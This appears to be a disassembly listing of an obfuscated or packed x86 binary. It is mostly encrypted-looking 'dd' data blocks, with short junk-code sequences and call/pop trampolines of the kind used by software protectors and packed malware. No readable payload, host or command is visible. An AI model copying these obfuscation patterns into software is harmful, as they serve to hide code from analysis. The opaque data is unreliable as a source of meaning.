0F1E1DF9Eh, 0C9F45A9h, 0FD336BA7h, 22AFBE7Bh dd 4C68F86Ah, 7E0A8F1h, 0B514B60Fh, 0ED277CBCh, 91FD26B1h dd 0FFE6832Eh, 0A855FB54h, 9CFD336Bh, 0C7E373EDh, 7E0ADB5h dd 0D5C94CE1h, 729CDC6Ch, 987E5C3Bh, 9946ECECh, 0F64F1677h dd 1488C092h, 91FAA46Fh, 3866AC01h, 0D8F484ADh, 7E18275h dd 5E9C429Bh, 0FC185FB1h, 7E18299h, 0C2DE6EC7h, 7E1825Fh dd 33C32C85h, 0EBC7A809h, 0DD83D32Fh, 858314Ah, 0FCD25C78h dd 77D00FDAh, 0C59C0ECh, 1A6FFFE7h, 689AB646h, 6E07E11Dh dd 0F55B8515h, 0B03138CEh, 76D9F585h, 9C07E0A9h, 0DE0A9D43h dd 7E0A977h, 3F460081h, 406EB507h, 526EAEEEh, 7E09CEFh dd 0ED50BC15h, 1307E09Ch, 9FFF15BAh, 6445EB14h, 24h, 4856BF14h dd 67BCEBA2h, 0E94AF0AEh, 1430C0A0h, 7E090CAh, 9AEF7FD8h dd 759E2975h, 389D3CCFh, 36000000h, 0FD607CBCh, 0D4FFE682h dd 0E68355B8h, 0E1227BFFh, 881E288h, 5E88C858h, 0F0887C5h dd 0B2EC2738h, 0EF95FE27h, 0E145BD7Bh, 0FE1A5A07h, 7E13D9Bh dd 81CA70C9h, 0A72E9D28h, 174326Ch, 42998334h, 71D6807h dd 72A40000h, 0C949F62Ch, 23F29FD5h, 7798457Bh, 0CD44F127h dd 0B2679BD1h, 205648C9h, 0C7FDA173h, 72A8F61Ah, 1A504EC5h dd 74D7F34Bh, 0A207E922h, 637B853Ch, 90D0B9h, 8341A4C0h dd 0A0BFFE6h, 9FE00994h, 83A0031Fh, 6DC6FFE6h, 86C65E04h dd 14BAE431h, 0E0899EA0h, 0AEEB4407h, 2763274Ah, 0C5435CAh dd 0A7FC3C7Ch, 7EA7326Ch, 0A35FAF12h, 76A86C5h, 2DC5A35Fh dd 943A93D4h, 9D685E20h, 0A02B84CDh, 0CE5E0287h, 0C3DB398Eh dd 9224A91Dh, 0EE43CA27h, 88D17727h, 355F9F2Fh, 0AEF4D3B1h dd 0AF5C0293h, 55AA3A64h, 3B66E0BEh, 0BE677E74h, 2AD715BBh dd 88F7B5E9h, 0BB5C3F00h, 65DE180h, 0B2640000h, 909B6ECh dd 63B25F95h, 0B758053Bh, 0D04B1E7h, 72275B91h, 0E0168889h dd 87BDE133h, 326836DAh, 0DA108E85h, 3497B30Bh, 6207E923h dd 6CA745FCh, 341D7432h, 0F32E9983h, 61E54h, 2B73A300h dd 0D4CA48F5h, 7A24F19Eh, 26789744h, 0D0CE43F0h, 0CAB1669Ah dd 74215747h, 1BC8FEA0h, 0C673A9F5h, 4C1B514Dh, 2375D8F4h dd 359B07E9h, 216CA77Eh, 9668E625h, 0F681EA6Dh, 0E0BE51A6h dd 25862C55h, 2C6CFC64h, 0BA603ED7h, 0E9FD3946h, 50BF1407h dd 65FA84Eh, 0AAF42176h, 1250F61Fh, 0F888D8B1h, 0E32962DCh dd 9C27800Fh, 0DEC40970h, 0D892130Fh, 6CCC99D1h, 0BE3748h dd 92E70000h, 3095207Eh, 0B056BFDFh, 0BA647BF9h, 0AC0191CFh dd 85AE3965h, 292B47DFh, 8D07E08Ah, 0B65F7323h, 0D43DD7E9h dd 0E3E63397h, 0A1E8D6E7h, 38DA2FBFh, 0CB2DB66h, 0FF865874h dd 338CD0DDh, 110358A8h, 386E78Dh, 718DCD5Dh, 0CEEDFF0Eh dd 9D35DB34h, 0EBA2F781h, 292EBD6h, 0F61265ADh, 0C8E16293h dd 59FF68C1h, 0F7A76CC1h, 0A0FE1267h, 40FBCFAh, 0EB8FDC9Ah dd 518C5179h, 522B2h, 27779F00h, 0D0CE44F1h, 7628ED9Ah dd 227C9340h, 0CCD23FECh, 0C6AD6296h, 701D534Bh, 17C4FAA4h dd 0C26FA5F9h, 48174D51h, 2471D4F0h, 399F07E9h, 0A46D82h dd 0FB250000h, 0DF1493D1h, 0D68D337Eh, 3ACA96F3h, 0E7722CE5h dd 408018BEh, 0EA7529EBh, 0AAF41CC1h, 0DC50F61Fh, 7E919BFh dd 1CF94E8Eh, 62CEF782h, 7E918FFh, 0EA27CC25h, 5A0029B4h dd 0D328B811h, 7B285E40h, 5549CA98h, 9B6090CAh, 0EBA697A3h dd 758E1982h, 0A0BC4C14h, 0FE2CAF6h, 0EF0893ECh, 1A36C69Ah dd 17D8E2E8h, 8AD795EEh, 7D91812Bh, 479A342h, 0CE480000h dd 25ED9AD0h, 7F964379h, 0D33CE91Fh, 29E895CBh, 560B3F75h dd 0C4FAA46Dh, 6BA1FD17h, 164C52BEh, 0BEF4AA69h, 187B97EFh dd 3E07E925h, 7DE021D8h, 78FFE683h, 0FFE68311h, 6EFE6227h dd 6480F719h, 0FFE68301h, 0E26DD62Fh, 0CCC689A8h, 4CB5AD61h dd 45D502D2h, 43E93595h, 0C5828FABh, 0C31C07E9h, 5E40D338h dd 810E5FA0h, 62013C91h, 407h, 0C425CBAh, 0B5EBB35Fh, 5B910D08h dd 73D61AEh, 0B1E7B75Ah, 32DFC87Dh, 8B89366Ch, 0E030DD13h dd 38DB88BEh, 9613066h, 0E9268AEDh, 9B52B807h, 0A7326CA7h dd 0D565FB8Eh, 650A9480h, 0B24AF0AEh, 0E09FD896h, 0A1710607h dd 0E04972FDh, 0B6D212AAh, 7E09F53h, 0E822881h, 508FB041h dd 0F4841AF7h, 8F3598B4h, 25B4F3Bh, 8EF35672h, 0C8214F3Bh dd 0DA37E422h, 8C178788h, 156AFA63h, 65F89E00h, 0F127414Ch dd 0A967BC3Ah, 9B416AF5h, 0E97925EEh, 0CCFC9BFh, 8225C9E2h dd 4F5CD66Dh, 6AFDA348h, 5A900E05h, 40D090F9h, 0E16C8A24h dd 54DF3807h, 0E117C128h, 904ACB07h, 5DA397C1h, 0EAFC96E6h dd 0FE3C7444h, 39DA406Eh, 8A000000h, 0EECB2E4Ah, 0A0F907E0h dd 0FF8A14FBh, 0F37930D6h, 1E3ACA96h, 7E09C50h, 2565F54Eh dd 0E09BA609h, 0CD73CC07h, 9BA70E3Ah, 30B107E0h, 0A7376F76h dd 26D5406Eh, 66000001h, 0CBAC67BCh, 0E6834CAFh, 0B8217AFFh dd 5EC1DD2Dh, 84FFE683h, 6F1CC22Bh, 0A6FFAA4h, 0BC0C9707h dd 82FD607Ch, 3FEAFFE6h, 0D91D82A2h, 5DD73071h, 6AF6B1B3h dd 6B18BE1Ch, 66BF6A8h, 0E75B910Dh, 0FFE71A5Fh, 209DF023h dd 0F0526382h, 58AD3DA6h, 0EA67E1BDh, 0D02C2D31h, 0EF9CDA80h dd 0D6EF7A24h, 11DADB3h, 7E0DF1Bh, 57B8EE47h, 5E9E2E32h dd 1308D034h, 0C454DE00h, 0E0D745A8h, 6C126B07h, 0DDBA1CF8h dd 64D1FB0Fh, 0A947CA2h, 26DC567Fh, 8BD47A42h, 0C44DA232h dd 0D7204ADAh, 90A31A34h, 661351F7h, 8435F3ABh, 0C7998533h dd 251ED8Ch, 0A6700000h, 0FD15C2F8h, 57BE6BA1h, 0AB641147h dd 110BDF3h, 7E33679Dh, 0EC227C95h, 93C9D53Fh, 3E742AE6h dd 0E61C8291h, 40A3BF17h, 6607E927h, 6AA74900h, 838EF10Dh dd 5BB4FFE6h, 50D62F2h, 0A9D40E99h, 3220EC6Ah, 27650B74h dd 0D0334F8Fh, 0F6FFE72Bh, 821CF89Dh, 93E42FDCh, 0E72B1477h dd 5FD842FFh, 8FEAA274h, 366CD53Eh, 0D7C7499Eh, 17BDE132h dd 0CA96F360h, 0F21C103Ah, 1E5ACA5Fh, 0E3CAA0A4h, 35DB3D87h dd 4EB3819Dh, 366007E1h, 4A2E61EBh, 0F0AE6280h, 78DBF787h dd 9E07E179h, 0C1569F45h, 97C04B53h, 1077A32Eh, 1A07E179h dd 0A0D8DF99h, 87406F85h, 6DC82B47h, 888A07E1h, 21628B16h dd 0F74122C8h, 0D2000000h, 0CBAC67BCh, 0E6834CAFh, 0B8217AFFh dd 0F0AE6512h, 5D050B60h, 0F681EAB4h, 449427CDh, 8385E804h dd 2BABFFE6h, 0E683AC0Fh, 1881DAFFh, 524CC572h, 0EE2277C7h dd 0E960AB0h, 49FFE688h, 0F47F1FF4h, 9B7825CBh, 0E7504EC7h dd 8F0F04B1h, 0C29EEB04h, 9D301632h, 55E07E0h, 3AAF4B75h dd 83932FF2h, 4B3E9FDDh, 8C6FD2EEh, 159507E0h, 0E08C96F9h dd 0FA63BC07h, 66AC0191h, 0DE84AD38h, 5EB10646h, 0E68CB540h dd 0DD6B3772h, 24B40D0Fh, 0F22042CFh, 600D43ACh, 942FEDB1h dd 0B79985E2h, 0E5DD7Ch, 3ADC0000h, 91812E64h, 0EB2AD70Dh dd 3FD07DB3h, 957C295Fh, 0EA9FD309h, 588E1001h, 0FF3569ABh dd 0AAE0BE52h, 528816FDh, 0AC0F2B83h, 0DA07E929h, 6AA7BD74h dd 0C14FA434h, 832952DDh, 0E77B9845h, 0BCE5702Eh, 5B851D53h dd 496B0A28h, 0EDB16145h, 6836DF84h, 6CA70BC2h, 0D142A732h dd 95207E91h, 524CC76Ch, 0FF359EC7h, 0E575EB9Eh, 0E919A8C9h dd 0EA75CE07h, 80108E85h, 0A3BE1640h, 0DF358B01h, 0E92E1073h dd 37DD3607h, 0D7C74CF9h, 801EF247h, 0E51B47DAh, 9934E788h dd 51C2A660h, 0A96A174Dh, 92565F5h, 24E374A6h, 73FE617Dh dd 0CB2424E3h, 0F88B318Ah, 97227C93h, 3E22DC05h, 0E693C9D5h dd 47E6712Dh, 1Fh, 40A3BFFFh, 6624E374h, 0BBB0670Dh, 0BC1F3B7Bh dd 0EAFFE683h, 82E50191h, 0B0FFE683h, 0A7FAB157h, 3FA42F6Fh dd 0DA3FCAD4h, 78DD6836h, 1277029Ch, 0AF149FFFh, 4CB13C62h dd 0EB50DBC3h, 84E9742Ah, 5285108Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push 0C4Ch mov [esp], edx push 6ACDh mov [esp], eax push eax mov eax, 546E5AA1h sub eax, 1B09260Dh add eax, 513420ACh add eax, 190F72DBh xor eax, 49C76085h not eax xor eax, 5E5641B3h mov edx, eax pop eax xor edx, 2EB2BE0h sub edx, 412AA639h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push ecx mov ecx, 8 add ecx, 4F411FE5h add ecx, eax sub ecx, 4F411FE5h mov [ecx], edx pop ecx push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop edx add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- dw 9C4h dd 2A73FB8h, 0FFC50308h, 29C978E0h, 5BA90877h, 22FEAF1Bh dd 7BFF1946h, 3749033h, 3A23CA57h, 9F93C46Bh, 540D0826h dd 0A9AAFB1Ch, 0D7C9832Ch, 2B07E570h, 2A03CB01h, 69813B50h dd 0CF242E47h, 0B5323131h, 4387AB09h, 0B5C19B39h, 29496311h dd 0E5BB3953h, 0F8F5B122h, 9218D44h, 0CF1FDF7Fh, 49750328h dd 1E8D8D29h, 660802A9h, 0F5C7C781h, 1CD98D89h, 6A07FAh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0E3DDFC3h, 8E0FF0h, 0C7000000h, 0FA31AD85h, 640C07h dd 14E900h, 71620000h, 0AC28D3BFh, 0AFAED0ACh, 0B15F292Fh dd 3F03347Bh, 85C710E7h, 7FA2BD9h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A1C35141h dd 829D9C85h, 8BAF356Bh, 0FA0B4595h, 91B5FF07h, 6A07FA33h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 57DFC357h, 0D2E82F48h, 1079958Bh, 95FF07FAh dd 7FA1799h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 92C35141h, 0DD32CEE9h, 660FA121h, 0F38BD68Bh, 95FF006Ah dd 7FA1019h, 5AEBC08Bh, 0C6BBE407h, 3891B6FFh, 82437AD0h dd 8A392AA1h, 0BEE9228Ch, 0EA69C868h, 55512467h, 20E2BF3Ah dd 0A8C64A40h, 0CF4256DBh, 8A3E68A4h, 876DFD6Bh, 0C0B275B5h dd 9AAB8A7Eh, 0C1493D50h, 728E319Bh, 0BD19B224h, 5A324D2Ah dd 25A9519h, 7C34D644h, 47D36C2Eh, 0B4E5E222h, 8D8DD194h dd 802AA3Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 2DC35747h, 0AC71B135h, 23E98589h, 8D8907FAh, 7FA1CD9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 9DC35343h dd 38B54071h, 29F6F9B4h, 0FA1145BDh, 0AD85C707h, 7007FA31h dd 2900006Dh, 0FA269985h, 0D985C707h, 7FA2Bh, 0FF000000h dd 0FA0E71B5h, 41958907h, 907FA35h, 0FA202585h, 9995FF07h dd 6A07FA17h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 509BC353h, 84EB8166h, 85895EA2h dd 7FA1829h, 95FF006Ah, 7FA1019h, 3FEBC08Bh, 7BA155EEh dd 0C34E6944h, 0F788E767h, 732C563Dh, 849C1622h, 73854E53h dd 0BE3693A5h, 818559Fh, 6FEDEACFh, 6478445Ch, 0C409E118h dd 3BFBA081h, 0F4FC21FEh, 0B34C82C4h, 1577A7BBh, 8D581967h dd 2AB918Dh, 79BD8B08h, 8907FA2Bh, 0FA1CD98Dh, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 29DE8730h, 0DB93B838h, 9D8BDE13h, 7FA28F5h, 31AD85C7h dd 5E0807FAh, 0EE90000h, 0F3000000h, 0E784709Fh, 0B1CAF71Fh dd 0E433BDF8h, 8E9E7h, 3CD30000h, 276B84F4h, 85C72276h dd 7FA2BD9h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 56C35646h dd 31F4D7CDh, 0DE7FB5B1h, 0B5FF63B7h, 7FA3391h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 34C35040h, 6B49077Fh dd 0E81B426Ah, 0Eh, 69EA73F4h, 0E21CF5E4h, 0F1E7164Fh dd 0E956E874h, 8, 38BD47E4h, 0F67A356Ch, 95FF5F5Bh, 7FA1799h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 94C35343h dd 0CEB2E370h, 6AC38205h, 1995FF00h, 8B07FA10h, 0A25AEBC0h dd 3BA683E6h, 7B7B3E3Bh, 0AB5E9786h, 1916396Eh, 0ED4C0499h dd 2BD2E2F1h, 1050777Ch, 0B4EEEE48h, 4BC96407h, 161D8B3Eh dd 94D460E5h, 6EB782B1h, 0B742AE4Dh, 3AB0E4AEh, 31EE15CCh dd 964EF26Bh, 9A03FE6h, 57994A95h, 45F78052h, 93B99289h dd 0C690C5CAh, 64958B36h, 12E867h, 0B3CB0000h, 0B88D8008h dd 0A5833B8Eh, 6CA74A23h, 244D3C1Ah, 0DE9h, 245C4F00h dd 0EF591D74h, 6A80AFF9h, 315A5F09h, 0FA0CA58Dh, 93C28107h dd 0BF000072h, 0 dd 21519D89h, 0C8B07FAh, 0F08B663Ah, 3010E981h, 8B0F3A9Ah dd 18h, 13E9h, 161D8B00h, 94D460E5h, 6EB782B1h, 0B742AE4Dh dd 3AB0E4AEh, 0A6CFE981h, 950960A5h, 7FA0E99h, 0C482E981h dd 0F506BFCh, 485h, 6BBB6600h, 0C895BC5h, 8BF78B3Ah, 0FA0029B5h dd 4EF8307h, 0F8E88166h, 34FF815Bh, 0FFFFF8Eh, 1285h, 0E9F88A00h dd 21h, 42570952h, 3C7E1A06h, 89B623F1h, 0FA065185h, 0FF7CE907h dd 0FC34FFFFh, 0A27B9719h, 126B11DDh, 898D8D64h, 6A0802ADh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 587EC356h, 6C004A02h, 7D858BDDh, 8907FA0Dh dd 0FA1CD98Dh, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 142DB35Eh, 153D958Bh dd 85C707FAh, 7FA31ADh, 5C34h, 20499D8Bh, 85C707FAh, 7FA2BD9h dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 46C35343h dd 56E3FB4h, 0C7D08162h, 0FC173615h, 2EA9B5FFh, 8F0F07FAh dd 3, 0FF5FD080h, 0FA179995h, 9E807h, 9ADA0000h, 0B6350049h dd 80B748CFh, 6A58C0E0h, 1995FF00h, 8B07FA10h, 0BA6EEBC0h dd 80A58E3Ah, 0E998EA40h, 1A6EFA14h, 0E74A6356h, 7CDC3DF5h dd 83433136h, 73D6BD6Dh, 5FA3324Ch, 4288EC8Bh, 3733B681h dd 51640F48h, 141D9115h, 2608290Eh, 671AD93Ch, 23A9A814h dd 961EA16Eh, 9DF891F6h, 0CD3A306h, 0C437CF6Bh, 80D20927h dd 0F3467477h, 0B1D146F2h, 6B1FABD5h, 344F7070h, 0C3C54FE7h dd 0FC431CA4h, 9991199Eh, 30E90Ch, 0A77B0000h, 4004h, 0Ah dup(0) dd 33E90000h, 0DD000005h, 822F6539h, 2BD80E90h, 0D17EB4EAh dd 7D2A603Eh, 0A0D40A94h, 910D04EBh, 3866AE5Bh, 0E3BB5502h dd 8B1300ADh, 122E8655h, 7E931AFh, 0A7B86FD5h, 42A7326Ch dd 199CFCFh, 26581C1h, 30FFE683h, 83086BD7h, 0D52EFFE6h dd 0D91822Fh, 0A8F61D82h, 718DCD1Dh, 0FFE6830Eh, 8835DB34h dd 3089148Ah, 0BA593DF7h, 0F01AEE4h, 64AC598Fh, 355FAF3Ah dd 39474104h, 3AE78DDEh, 0D439C4DAh, 73D8633Bh, 3276019Dh dd 0BD8F37F1h, 0B1ED287Dh, 0ECD08A0Bh, 95EA7A24h, 7628E77Bh dd 0CE59C2EBh, 14C1FFA5h, 0C4149FFFh, 72FDA16Fh, 329B030Dh dd 0D7B2188Ch, 5BE3FFE6h, 5900E06h, 0FBB536DCh, 74E3BCF4h dd 735A38h, 0A7EB0000h, 4DA2326Ch, 234CD7C7h, 59BEEA7Dh dd 1FFFE683h, 0BD22ADF1h, 70A54A54h, 3753A32Eh, 0FFE683D4h dd 0E425A902h, 0D344822Ah, 8EDA1219h, 1783874h, 9000000h dd 0A3336BA7h, 82E44763h, 0B912FFE6h, 0F71B8013h, 71B75680h dd 0CE0B8FAh, 0E6DA3DA0h, 0A10A63FFh, 405EB116h, 69235CB5h dd 0DB118D85h, 937DE52Eh, 0D46CA20Bh, 675A24AAh, 0ED93583Fh dd 346AA736h, 0E54864A4h, 0BFFE682h, 9A039B76h, 16FC61F4h dd 0B0E1FD88h, 9FFF12F6h, 4757BC69h, 0E0BE57BCh, 0F5AF3055h dd 7489A6EEh, 8B4438h, 0A7D50000h, 8519F86Ah, 8376D9F5h dd 439CFFE6h, 2BEA4FDAh, 83CD304Ch, 9AF3FFE6h, 0BF77A131h dd 0D6E00288h, 1C8519F8h, 3A8AE376h, 0CC722CE5h, 64AD914Bh dd 0BA57043Ah, 1EF66CA8h, 638C1780h, 50A6FFAh, 6CA90E99h dd 0CD42A732h, 0F92A46D1h, 0B132973Fh, 0D6A8F0F7h, 51463874h dd 0D7000000h, 0FD607CBCh, 23FFE682h, 9A7724CAh, 0CC9389F3h dd 72EC4C98h, 26ECDBA9h, 86117A02h, 24AFEF21h, 1E59FE0h dd 0A9FE8E10h, 4E8C326Ch, 336BA797h, 83167CA8h, 34E0FFE6h dd 967ADF6Ah, 30617D08h, 1F90CE76h, 8F265E65h, 1C43874h dd 55000000h, 0A5306EA7h, 3BCBD340h, 837CDFFBh, 51AAFFE6h dd 5FB318ABh, 0C34FB43Fh, 0CB0C50DBh, 6E976911h, 5945D0B4h dd 99C7C223h, 415DB409h, 89E7039Bh, 0B507E09Ah, 2C81D15Ch dd 6411B7E7h, 0CB9EFAFh, 0E00C9707h, 7E09A7Bh, 876B2566h dd 44DC128Ch, 0D57B23EFh, 9DA2EB28h, 6C46E0A7h, 56A6319Ah dd 6597FA16h, 64BD07E1h, 9C0211BEh, 0AC4F511h, 7BB1ED26h dd 6F7173ABh, 0D055A40h, 860AEB91h, 9B000001h, 0FD607CBCh dd 0EAFFE682h, 53D73394h, 0D66A7B8h, 0B6830667h, 0E6B1379Ah dd 9B045DFFh, 0E699EF0Bh, 6CC507E0h, 0F6977CE1h, 0CF56EA13h dd 84BA2383h, 207E97ECh, 19C66C95h, 0C919A4FAh, 4FC59D74h dd 329BC44Fh, 38D97EA7h, 13C066h, 0C6F7139Eh, 0B3EB280Ch dd 8975AD7Dh, 325C406Fh, 882A5CE7h, 3699B50Bh, 5C07E104h dd 13F49A03h, 57h, 0C69AF3A4h, 8DCCF636h, 152DD036h, 0E467DB81h dd 0D27FE70Dh, 9AC05768h, 0A13DAD0h, 86264D6Ah, 0A76C117Ah dd 0D7038EF7h, 7FE67F74h, 42CDD13Eh, 0DB6638DDh, 0BE662049h dd 7A49032Ch, 7FBB1E3Ah, 90E97FE6h, 5C0489EAh, 7F2DB0CCh dd 3A93FFE6h, 0BF1D04h, 0F3B60000h, 19858E96h, 0B8E6298Eh dd 3A56E64Fh, 7E09AD0h, 0D82DBD16h, 0ADD6613Dh, 40F7407h dd 77CC649Ah, 1277029Ch, 0ED16A1FDh, 0E231DE84h, 9D0531BCh dd 607E09Ah, 0D3BA59AEh, 35D1E1Ah, 63EE5748h, 4194F713h dd 69C207E1h, 0E7B75B00h, 0C8D335Ch, 0BDA56E52h, 95BE4955h dd 0F495F62Ch, 5AC0DC6Ch, 390FE3EFh, 4800050Fh, 276FC82Ch dd 1B017BBEh, 80C96FB8h, 0F74C9C27h, 2DDA801Eh, 0D328B8E6h dd 71D6613Dh, 4770FBA3h, 13A538DEh, 43CDA9D3h, 97FA4310h dd 1B98D81Dh, 0D177B523h, 8BFE9650h, 0D56184AEh, 46D7F2A4h dd 0DED177DAh, 0DB449D0Fh, 7FC92F4Bh, 60F517E1h, 5086EFAFh dd 0CA96F399h, 31B81E3Ah, 8DE607E9h, 28769D02h, 0D0CE45F2h dd 467B1945h, 96CF4FEFh, 0B1CD0DDCh, 3FEB3D4Eh, 0C8751B74h dd 701D534Bh, 0B70FBA3h, 0B50A9A04h, 22692F5Eh, 94D240ACh dd 0D177A02Bh, 623CD93Eh, 0C39F72D7h, 5CE7504Eh, 7F27E10Ah dd 0E6CA84ADh, 0CB2E4A2Dh, 0F93FEACBh, 540137A0h, 0B554DFBFh dd 8, 0AC67BC4Eh, 54B34CF2h, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh dd 85108E84h, 0E0895052h, 405h, 4E88300h, 5C240487h, 83242489h dd 52042404h, 0C281E289h, 4, 4EA81h, 14870000h, 0C895C24h dd 0E0895024h, 405h, 42D00h, 4870000h, 14895C24h, 36BF5724h dd 890802AEh, 243C8BF9h, 5404C483h, 8324148Bh, 286804C4h dd 89000010h, 428F240Ch, 2434FF08h, 4C4815Ah, 0FF000000h dd 81592434h, 4C4h, 0CB8EE900h, 45B9FFF7h, 0ECB81DDBh dd 30802B2h, 0F7E0FFC5h, 0CE6A0495h, 70198170h, 0DD5AC193h dd 0E70C6854h, 1E562257h, 0DC69BA90h, 1750430Fh, 1718EC5Ah dd 0A82BA409h, 3239FEB6h, 27771803h, 5709EEA8h, 0A003B119h dd 0F1137F7Eh, 0DF72A2E8h, 0EB535FB3h, 10h, 3 dup(0) dd 0F8C08B00h, 0AADB58Bh, 0BD8307FAh, 7FA2ACDh, 83097500h dd 0FA1899BDh, 19740007h, 0C08B5350h, 42DB8h, 0C9858900h dd 8D07FA20h, 0FCE2249Dh, 5BD3FF07h, 99BD8358h, 7FA18h dd 53501774h, 42DB8h, 0C9858900h, 8D07FA20h, 0FCDF139Dh dd 5BD3FF07h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0EC6F7DD7h, 6697FBECh, 0B817EE81h dd 1D2D8D29h, 0B52907FAh, 7FA1061h, 6AC08Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0A06DECC3h dd 799533h, 0BF0F07FAh, 758D8BF1h, 0BE07FA10h, 11D55310h dd 0F00F983h, 0AA84h, 0BACE8000h, 6F1958Bh, 8B6407FAh dd 2C3Dh, 77C28100h, 0F1CD66Bh, 0FF0BD2B7h, 89840Fh, 95890000h dd 7FA2C8Dh, 6A3F8Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 5BB1BFC3h, 0A7C4B7F8h, 0E840BA36h dd 8, 0BA11CAD7h, 0F9119BE1h, 1D6DB533h, 0E95E07FAh, 12h dd 4473EEE7h, 27214A1h, 0D577E76Ch, 0DC266D1h, 0C032F7C1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 84C35545h dd 5E8AAF3h, 80000000h, 0D4936355h, 2E09B58Bh, 355E07FAh dd 53504149h, 12E8h, 61E14000h, 92111266h, 9B70DC91h, 0F6B8A5B6h dd 0E92FC5B3h, 12h, 7B308D88h, 0D6638265h, 0D529E5C9h dd 95EC6693h, 0C65A8D5Fh, 0FA066585h, 0F604707h, 0C8Ah dd 6E800h, 31880000h, 0B81E6BFDh, 6820F5Eh, 29000000h dd 0FA14559Dh, 0A4686107h, 509978C7h, 0FF28B52h, 82D2BA31h dd 585A32F6h, 88240481h, 0BE435DC0h, 62C0AFh, 2095B5FFh dd 8DF507FAh, 0FDA3DD85h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 81D62B1Ch dd 640B67E6h, 6AD0FF28h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0D367C352h, 2C818589h dd 11B607FAh, 1D818589h, 6A07FAh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0B29ABDC3h, 0C66CC2FFh dd 0FA066585h, 85895307h, 7FA2AB5h, 3448FF68h, 81F38B54h dd 21FD2404h, 8B663464h, 95B5FFD7h, 8107FA20h, 0E5FCEBDAh dd 0DD858D20h, 6A07FDA3h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0E6AC351h, 3A656327h dd 0DE9h, 0BA858F00h, 24283B3Dh, 5C7405F0h, 0B58B655Bh dd 7FA1C91h, 8950D0FFh, 0FA181D9Dh, 95895E07h, 7FA3405h dd 6A64858Dh, 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 2158B3C3h, 66BB2796h, 8589D78Bh dd 7FA1541h, 875B52Bh, 206A07FAh, 95FFFF6Ah, 7FA1541h dd 50414935h, 585C753h, 107FA2Ch, 0C7000000h, 0FA1C1585h dd 7, 0DE900h, 3FDD0000h, 29A97E51h, 54A47BC1h, 8B316BAEh dd 0FA274D95h, 91858B07h, 0F907FA0Eh, 0A364h, 958B0000h dd 7FA1611h, 3135BD83h, 0F0007FAh, 4C84h, 60E68100h, 8B667FD3h dd 0FA1BD5B5h, 21858B07h, 8907FA24h, 0FA18DD85h, 6AE08B07h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0AF13C352h, 0BBB19FBAh, 57AB30DDh, 1D498589h dd 895E07FAh, 0FA353DB5h, 85BD8307h, 7FA18h, 42E850Fh dd 0B70F0000h, 6585C6D1h, 5607FA06h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 7BC35242h, 8B6B9348h, 0FA2C59B5h dd 4E807h, 30DF0000h, 0F18AA9C5h, 66525050h, 0F187FBEh dd 5AD78B31h, 24448B58h, 0AEBE6604h, 51008B27h, 0CE960h dd 11AB0000h, 87E86AA9h, 0DC8D5C46h, 5E9112Ch, 20000000h dd 0F0B5082Eh, 44895E61h, 0BA660424h, 6A586FF9h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0FE39C351h, 483EBA97h, 0B5FF23C6h, 7FA2095h, 5E9h, 0F6C97900h dd 858DC112h, 7FDA3DDh, 0D0FFD08Ah, 896AB250h, 95892404h dd 7FA1801h, 30DD8D8Dh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 1621D8C3h, 605021D1h dd 48D0Fh, 0BF660000h, 8D0F4991h, 0Ah, 5E9h, 3034CA00h dd 89616938h, 0BD31240Ch, 7FA1C29h, 6A046Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 30AFE9C3h dd 68E59C6Dh, 0A5A3206Bh, 95240481h, 0FF5A5CEFh, 0FA14A9B5h dd 81958B07h, 8107FA16h, 178082F6h, 6AD0FF32h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 89BCC357h, 0FA10D58Dh, 118D2907h, 8B07FA15h, 0FA14A9BDh dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 66457A1Ah, 53CDF681h, 0BA3C7F03h, 7B5FAD19h dd 0F8C781h, 0BE90000h, 0B2000000h, 